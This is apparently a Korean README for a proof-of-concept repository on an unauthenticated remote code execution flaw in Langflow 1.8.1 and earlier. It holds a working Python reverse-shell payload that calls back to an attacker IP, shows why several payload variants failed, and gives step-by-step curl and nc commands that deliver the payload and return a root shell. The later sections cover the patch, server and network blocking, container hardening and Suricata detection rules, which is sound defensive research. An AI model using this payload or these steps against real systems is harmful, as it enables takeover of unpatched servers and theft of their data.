
PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.
면책 조항
본 저장소는 보안 연구 및 교육 목적으로 제작되었습니다.
격리된 실습 환경에서만 사용하십시오.
허가되지 않은 시스템에 사용하는 것은 정보통신망법 위반으로 형사처벌 대상입니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-33017 |
| 취약 소프트웨어 | Langflow (AI 워크플로우 빌더) |
| 영향 버전 | Langflow ≤ 1.8.1 |
| 패치 버전 | Langflow ≥ 1.9.0 |
| 취약점 유형 | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | 등재 |
POST /api/v1/build_public_tmp/{flow_id}/flow
Public 플로우 빌드용 엔드포인트로, 인증 없이 접근 가능하도록 설계된 엔드포인트다.
소스 코드를 직접 추적하여 확인한 실행 경로:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
prepare_global_scope() 함수는 제출된 코드의 모든 구문을 실행하지 않는다.
AST 파싱 후 특정 노드 타입만 선별하여 실행한다:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
실행 가능한 AST 노드 타입:
결론: 페이로드는 반드시
Assign형태(_r = ...)로 작성해야 실행된다.
단순 함수 호출(os.system("id"))은Expr노드로 분류되어 필터에서 걸러진다.
실습 과정에서 여러 페이로드 방식을 시도하였으며 각 실패 원인을 소스 레벨에서 규명하였다.
subprocess.Popen + wait() (실패)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
실패 원인: Langflow 워커 스레드가 컴포넌트 반환값을 감시하다가
타임아웃 시 소켓을 강제로 닫아버림. _proc.wait() 블로킹이 무의미해짐.
os.execve() 직접 호출 (실패)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
실패 원인: POSIX 규칙상 멀티스레드 프로세스에서 execve() 호출 시
호출 스레드 외 모든 스레드가 종료됨 → uvicorn 워커 전체 크래시 → HTTP 500.
os.fork() + execve() (실패)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
실패 원인: uvicorn이 자식 프로세스를 비정상 종료로 감지하여
워커를 재시작시킴 → HTTP 500.
threading.Thread(daemon=True) (실패)threading.Thread(target=_shell, daemon=True).start()
실패 원인: daemon=True 스레드는 메인 스레드(Langflow 워커) 종료 시
함께 소멸됨. connect() 시도 전에 스레드가 죽어버림.
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
daemon=False 선택 이유:
daemon=True → Langflow 워커 스레드 종료 시 함께 소멸daemon=False → 워커와 독립적인 생명주기 → 소켓 연결 유지 가능CVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
공격자 컨테이너 안에서 실행:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
옵션:
기대 출력:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
취약점 존재 여부만 확인할 때 사용:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (소스에서 직접 확인):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
단순 입력값 검증이 아닌 파라미터 자체를 제거한 설계가 올바른 이유:
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
파일 위치: nginx.conf (신규 생성)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
주의: Langflow 7860 포트의 외부 직접 노출도 차단해야 효과적.
파일 위치:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Public 플로우가 없으면 엔드포인트가 404를 반환하여 공격 불가.
운영 정책으로 Public 플로우 생성을 금지하거나 기존 플로우를 PRIVATE으로 변경.
EC2 환경 기준:
인바운드 규칙:
포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)
RCE가 성공하더라도 외부 콜백을 차단:
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
또는 docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
seccomp 프로파일로 위험 syscall 차단 (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
의심 HTTP 요청:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Langflow 서버 로그 패턴:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
본 저장소는 단순 PoC 실행이 아닌 소스 레벨 분석을 통해 다음을 추가로 규명하였다:
AST 노드 필터링 발견
lfx/custom/validate.py의 prepare_global_scope()가 Expr 노드를 무시한다는 사실을 소스 분석으로 직접 확인. 이로 인해 기존 공개 PoC의 단순 함수 호출 페이로드가 이 환경에서 실패하는 이유를 규명.
페이로드 실패 원인 분석
Popen+wait(), execve(), fork()+execve(), daemon=True 스레드 등 4가지 방식의 실패 원인을 uvicorn 멀티스레드 구조 및 POSIX 규칙 관점에서 분석.
패치 코드 직접 확인
1.9.1의 chat.py에서 data=None 하드코딩 및 파라미터 제거를 소스 레벨에서 직접 확인하여 패치 설계 의도 분석.
| AST 노드 타입 | 예시 | 실행 여부 |
|---|
FunctionDef | def _shell(): ... | ✅ 실행 |
ClassDef | class ExploitComponent(Component) | ✅ 실행 |
Assign | _r = os.system("id") | ✅ 실행 |
AnnAssign | _r: int = os.system("id") | ✅ 실행 |
Expr | os.system("id") (단독 호출) | ❌ 무시 |
| 옵션 | 설명 | 기본값 |
|---|
--url | 대상 Langflow URL | 필수 |
--lhost | 리버스 쉘 콜백 IP | 필수 |
--lport | 리버스 쉘 콜백 포트 | 필수 |
--flow-id | Public 플로우 UUID (생략 시 자동 생성) | 자동 |
--user | 관리자 ID | admin |
--password | 관리자 PW | admin123! |
--no-listen | 내장 리스너 비활성화 (외부 nc 사용 시) | False |
--timeout | HTTP 타임아웃(초) | 30 |
| 항목 | exploit.py | poc.py |
|---|
| 목적 | 리버스 쉘 획득 | 취약점 존재 확인 (Blind RCE) |
| 결과 확인 | 공격자 터미널 직접 | 서버 로그 / OOB |
| 리스너 | 내장 포함 | 불필요 |
| 다중 대상 | 미지원 | 지원 (--url-file) |
| 실습 용도 | 영향도 증명 | 취약점 존재 증명 |
| 항목 | 1.8.1 (취약) | 1.9.1 (패치) |
|---|
data 파라미터 수신 | ✅ 수신 | ❌ 시그니처에서 제거 |
| 클라이언트 노드 정의 실행 | ✅ 가능 | ❌ 불가 |
| 플로우 정의 출처 | 클라이언트 요청 바디 | DB 저장 값만 |
| 인증 없이 RCE | ✅ 성공 | ❌ 차단 |
| HTTP 응답 | 200 + 쉘 연결 | 200 (빈 빌드, 노드 없음) |
| 조치 | 유형 | 효과 |
|---|
| 1.9.1 업데이트 | 근본 해결 | data 파라미터 제거 |
| Nginx/Apache 차단 | 접근 차단 | 공격 경로 차단 |
| Public 플로우 미사용 | 접근 차단 | 엔드포인트 404 |
| AWS Security Group | 네트워크 차단 | 외부 접근 원천 차단 |
| 아웃바운드 차단 | 사후 차단 | 리버스 쉘 콜백 차단 |
| 컨테이너 하드닝 | 피해 최소화 | 권한 상승/syscall 차단 |